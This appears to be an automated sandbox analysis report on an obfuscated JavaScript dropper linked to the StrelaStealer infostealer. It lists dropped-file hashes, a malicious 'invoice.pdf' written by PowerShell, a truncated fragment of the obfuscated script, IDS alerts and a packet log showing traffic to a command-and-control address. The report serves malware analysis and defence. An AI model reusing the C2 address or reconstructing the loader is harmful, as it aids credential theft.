SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b5a5e086-de6c-4b9d-a5de-de8d44190bdf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c23097b6-a521-4a88-b253-f53bf3593947.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16501), with CRLF line terminators
Entropy (8bit):	4.92980888601543
TrID:
File name:	5476263142183119959.js
File size:	20'059 bytes
MD5:	98dea0551f0ac38b0d531695433877d3
SHA1:	e73c7a874648184661f067268bd3cb4d70e4665a
SHA256:	c164ee00b4d85159d0a195a0990db47e09db20bfaa08b82e1eb6ad619da0f681
SHA512:	65ce3fda45acc7c94e2628893929faeeef10135861ea55b9c311e1b68a4145c42040f79c6f314dabce4709fe2ed3709cf85db032c61bad14f02939e5a3fc47e6
SSDEEP:	192:YmQG+c9GQeUafRti3BS5L7SH3Pq02UTViJOSxCex/AkkiYWyaKPn6LrU0J5dS9Z5:YmNkQZ8Rt4zexCexqJj+5g
TLSH:	1A926240EA6E8B4FCAE0B531F6648D8162F84044D07555A938A7DC867AC7F3829D3E7F
File Content Preview:	function gtevewjmi(){wxfak=[1031,3079,5127,4103,2055,3072];var caistuvib=this[pqvio+plxaxxegv+vvqyzftq+yuidz+lrcwn+jtdwmn+gbwhog+lyouwdbke](this[nllfkbbs+royzwxc+wuqomadw+vvqyzftq+jyzktsf+pqvio+lyouwdbke][jlnsl+vvqyzftq+lrcwn+plxaxxegv+lyouwdbke+lrcwn+rbn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:23:59.266647+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T08:23:59.266647+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T08:24:01.928462+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:23:58.447176933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:58.452444077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:58.452570915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:58.455547094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:58.460382938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266529083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266556978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266573906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266587019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266599894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266613007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266619921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266630888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266647100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.266741037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.266881943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266896009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.266968966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.271611929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.319118977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.329457998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.329514980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.329699993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.387660027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.387691975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.387705088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.387715101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.387728930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.387770891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.387820005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.388010979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388060093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.388211966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388246059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388279915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388292074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.388643980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388679028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388699055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.388715982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388758898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.388801098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388842106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.388886929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.389441967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.389574051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.389610052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.389630079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.389688969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.389724016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.389734983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.390433073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.390466928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.390479088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.390501976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.390549898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.458127975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.497159958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.497179985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.497189999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.497252941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.497317076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.509268999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509321928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509331942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509385109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.509447098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509458065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509504080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.509579897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509625912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.509632111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509809971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509819984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509829998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.509861946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.509911060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.509932041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.510225058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.510272980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.510344982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.510360003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.510396004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.510520935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.510534048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.510539055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.510567904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.510634899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.510715961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.511271954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.511282921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.511292934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.511327028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.511425972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.511465073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.511476994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.511477947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.511488914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.511519909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.512223959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.512234926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.512244940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.512283087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.512317896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.512439966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.512449980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.512459993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.512471914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.512496948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.512537003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.513097048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.513159037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.513170958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.513233900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.513298035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.513354063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.513359070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.513370037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.513381004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.513426065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.514056921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.514102936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.514113903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.514149904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.514178991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.545160055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.545191050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.545274973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.584212065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.584224939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.584405899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.618423939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.618436098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.618457079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.618469954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.618479013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.618485928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.618663073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.630678892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.630723000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.630733013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.630789042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.630891085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.630901098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.630912066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.630959988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.631052971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631129980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631191015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.631211996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631222010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631232023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631279945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.631479025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631489992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631548882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.631566048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631577015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631588936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631633997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.631664991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.631799936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631810904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631820917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.631859064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.632014036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632024050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632035017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632086992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.632145882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.632240057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632250071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632261038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632272005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632309914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.632354021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.632472992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632484913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632538080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.632627964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632637978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632656097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632667065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632678032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.632684946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.632714033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.632951021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633009911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.633074045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633084059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633143902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.633199930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633212090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633222103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633233070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633260012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.633304119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.633511066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633522034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633533001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633542061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633553028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.633569956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.633598089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.633995056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634006023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634016037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634058952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.634088993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.634217978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634228945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634238958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634248972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634283066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.634326935 CET	49730	80	192.168.2.4	193.143.1.205
